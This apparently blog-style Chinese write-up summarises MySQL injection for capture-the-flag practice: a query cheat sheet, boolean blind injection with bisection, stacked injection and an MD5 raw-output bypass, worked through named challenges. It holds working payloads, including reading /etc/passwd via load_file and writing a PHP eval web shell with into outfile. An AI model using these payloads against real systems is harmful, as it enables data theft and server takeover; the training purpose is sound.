Mysql注入總結

0×00:前言

對於MYSQL知識的一個初總結

Mysql注入總結

0×01:正文

MYSQL資料庫特性

1。Mysql資料庫預設不區分大小寫,利用此特性可以進行大小寫過正則匹配,舉個簡單的例子,有的題目中只過濾了select,那麼我們可以用Select進行繞過。

2。mysql預設埠3306

3。mysql各個資料庫的作用

(1)information_schema:

此資料庫是一個資訊資料庫,儲存了所有資料庫的資訊。

常用SQL注入語句

1。顯示當前使用者:select user();(current_user)

2。顯示當前資料庫版本:select version();

3。顯示當前資料庫名:select database();show databases;4。爆破欄位數: order by5。檢視顯示位:select 1,2,3,4,5

6。聯合查詢:union select 1,2,3,4,5

7。查詢資料庫名:select group_concat(schema_name) from information_schema。schemata8。查詢資料表名:select group_concat(table_name) from information_schema。tableswhere table_schema=‘庫名’

9。查詢欄位名:select group_concat(column_name) from information_schema。columnswhere table_name=‘表名’

10。讀取特定行:select * from mysql。user limit n,m

11。讀取檔案:select load_file(‘/etc/passwd’)

12。寫入檔案:select ‘<?php @eval($_POST[a]);?>’ into outfile ‘/var/www/html/a。php’13。判斷此處有無注入點:利用and1=1和and1=2來進行分析

14。猜解表名:and (Select Count(*) from [表名])>=0

15。猜解欄位名:and (Select Count([欄位名]) from [表名])>=0

16。猜解欄位的長度:and (select top 1 len(欄位名) from 資料庫名)>017。建立一個數據庫:create database ybyy;

18。建立一個帶字元的型別的資料庫:create database mydb2 CHARACTER SET=utf8;19。刪除資料庫:DROP DATABASE ybyy;

20。修改資料庫編碼:ALTER DATABASE ybyy character set gbk;

21。選擇資料庫:use database;

22。查看錶結構:desc tablename;

23。檢視資料庫建立語句:show create database databasename;24。檢視系統使用者名稱:system_user()

25。檢視連線資料庫的使用者名稱session_user()

26。讀取資料庫路徑:@@datadir

27。讀取安裝路徑:@@basedir MYSQL

28 作業系統:@@version_compile_os

0×02:盲注

什麼叫盲注?

不會返回資料庫內建的報錯資訊。而這些報錯資訊是我們普通SQL注入漏洞判斷的依據。我們無法依據伺服器的返回值來判斷,我們可以依據兩次執行的差距來判斷,可以依據基於邏輯的真假來判斷。

[極客大挑戰 2019]FinalSQL

題目給了提示,python寫sql盲註腳本

Mysql注入總結

點選1:

Mysql注入總結

可以看到這裡是有waf的!

Mysql注入總結

在這裡在測試一下id=0

Mysql注入總結

在這裡就可以判斷為布林盲注。測了一下,這道題可以用異或注入來做。這裡先來簡單講一下,1^0=11^1=0下面直接上payload:

Mysql注入總結

Mysql注入總結

利用二分法指令碼來題提升盲注速度,因為後期中很多題型都需要到二分法爆破指令碼,因此在這裡解釋的詳細一點,以後的二分法指令碼便不作詳細解釋。二分法:顧名思義,即為一分為二的方法。把答案所在的區間逐漸縮小,直到區間內有一次正確答案,就可以跳出一次迴圈。

在sql注入中,我們經常使用ASCII來對其進行便利,因此我們一般設定最大最小low=32,high=128。設定這兩個值是因為在這期間基本包含了sql注入中password欄位,但是也不免會有一些出題人喜歡出稀奇古怪的題目,這種題目我們不便理會。使用二分法來進行爆破的原因是:二分法比普通遍歷效率要高很多。原理:每次爆破都是區間的中間值,如果中間值大於給定數字,那麼下次爆破就是前半部分的中間值數字;如果中間值小於給定數字,下次就爆破後半部分的中間值數字。

那麼接下來就可以分析一下EXP了:

Mysql注入總結

Mysql注入總結

[BJDCTF 2nd]

Mysql注入總結

現在的BUU已經禁止掃描了,只能用常用的目錄自己測試,這裡測試robots。txt出現了提示

Mysql注入總結

接著進入hint。txt中

Mysql注入總結

Mysql注入總結

這裡我們構造:select * from users where username = ‘admin’ and password = ‘or 0#’

Mysql注入總結

發現這裡也是You konw ,P3rh4ps needs a girl friend接著我們構造:

payload:select * from users where username = ‘admin’ and password = ‘or 1# ’

我們可以這樣理解:

select * from users where username = ‘admin and password=’ 注入程式碼#‘這樣就實現了’的逃逸

Mysql注入總結

那麼之後再加上regexp就可以寫盲註腳本了:

Mysql注入總結

Mysql注入總結

發現這裡跑出了密碼,輸入用名和密碼拿到flag

Mysql注入總結

0×03:堆疊注入

堆疊注入的定義stacked injections ,顧名思義,就是多條語句一起執行。

堆疊注入的原理在SQL語句中,分號(;)代表著一句sql語句的結束,如果;後面緊接著一條語句,那麼是會一起執行的。但是堆疊注入的成功執行是需要很多條件的,一方面是API介面與資料庫引擎不支援的限制,還有一方面是許可權的限制。

堆疊注入與Union聯合注入是不同的,union後面的語句只能是用來執行查詢語句,但是堆疊注入後面可 以執行任意語句。堆疊查詢的解法有三種,下面在題目中會一一講到。

[強網杯 2019]

隨便注開啟題目,出現此頁面

Mysql注入總結

先來手測一下:payload:1‘ or 1=1#!

Mysql注入總結

利用萬能密碼,發現是可以出東西的。接下來我們先用order by 測一下此資料庫有多少列payload:1’ order by 1#

Mysql注入總結

這裡發現了,是有兩列資料。根據做題的思路,下面要檢視哪個是顯示位:payload:1‘ union select 1,2#

Mysql注入總結

這裡發現了過濾的函式:

return preg_match(“/select|update|delete|drop|insert|where|\。/i”,$inject);

做到這裡就知道是堆疊注入了,因為Rename,PREPARE,set等函式均未被過濾。

下面我們來嘗試堆疊注入:payload:1’;show databases;#

Mysql注入總結

可以發現是可以查詢出資料庫的,接下來又是走流程:payload:1‘;show tables;#

Mysql注入總結

得到了兩個表:1919810931114514和words 先檢視words表中的內容payload:1’; show columns from words; #

Mysql注入總結

繼續查詢另外一個表:payload:1‘; show columns from 1919810931114514 ; #

Mysql注入總結

可以發現這裡有flag欄位。但是前面已經爆了,select等函式均不可使用,需要繞過,再寫繞過之前,這 裡先插入一個知識點:為什麼mysql資料庫中要用``(反引號)。

mysql中``用法

在linux中是不區分``和’‘的區別的,但是在windows中區分,這裡可以發現,payload:1’; show columns from 1919810931114514; # 是沒有回顯的。

Mysql注入總結

這裡來說明一下原因:在mysql中查詢純數字和關鍵字的列名、表名時必須加

純數字也是同理,show columns from 1919810931114514也是不會出結果的。這裡也提示大家做列名和表名的時候不能用mysql中的關鍵字。

堆疊注入解題的三種姿勢可以看到1919810931114514這個表中有flag欄位,我們接下來的任務就是要如何檢視flag欄位中的內容。

第一種姿勢:

重新命名payload:

Mysql注入總結

Mysql注入總結

這個的解釋就是:

把原本words表重新命名為web_ybyy表名,把1919810931114514改成words名,之後 利用alter table 修改words原本的表結構,最後利用show columns from words;進行輸出。最後利用萬能公式出flag:payload:1‘ or 1=1#

Mysql注入總結

第二種姿勢:

預處理繞過selectPrepared Statements 的作用:當某一條語句反覆被運用的時候,預先編譯好會加快 執行速率。一次編譯,多次執行,當然在這裡主要還是為了繞過select函式 語法:定義預處理:PREPARE 定義的名字 from 要定義的語句執行:

EXECUTE 定義的名字 payload:

Mysql注入總結

Mysql注入總結

預編譯的第二種方式:

利用char()對select進行繞過,在mysql中 char(115,101,108,101,99,116)——->select payload:

Mysql注入總結

Mysql注入總結

0×04:其他sql注入與md5的組合

這類題是套路題,突破點在於sql查詢的一條語句: 可以看到pass欄位做了md5加密,sql注入的靈魂在於如何閉合,這類題也不例外。ctfshow web9:首先利用dirsearch進行目錄掃描

Mysql注入總結

提示了index。phps,我們把它下載下來

Mysql注入總結

這個就是原始碼了

其他sql注入與md5的組合

`mysql_num_rows() 返回結果集中行的數目,這裡判斷大於0可過check主要點在這裡, password =’“。md5($password,true)。”‘“;

md5()函式兩個引數:TRUE - 原始 16 字元二進位制格式FALSE - 預設。32 字元十六進位制數,這裡我們進行了測試

payload1:129581926211651571912466741651878684928

Mysql注入總結

payload2:

Mysql注入總結

Mysql注入總結

username =’admin‘ and password =‘ ’or ’xxxxx‘構造成這個型別的語句就可過check直接打,出flag

Mysql注入總結

0×05:總結

MYSQL注入bypass方式太多,大賽能學習到很多繞過姿勢。慢慢收集整理吧。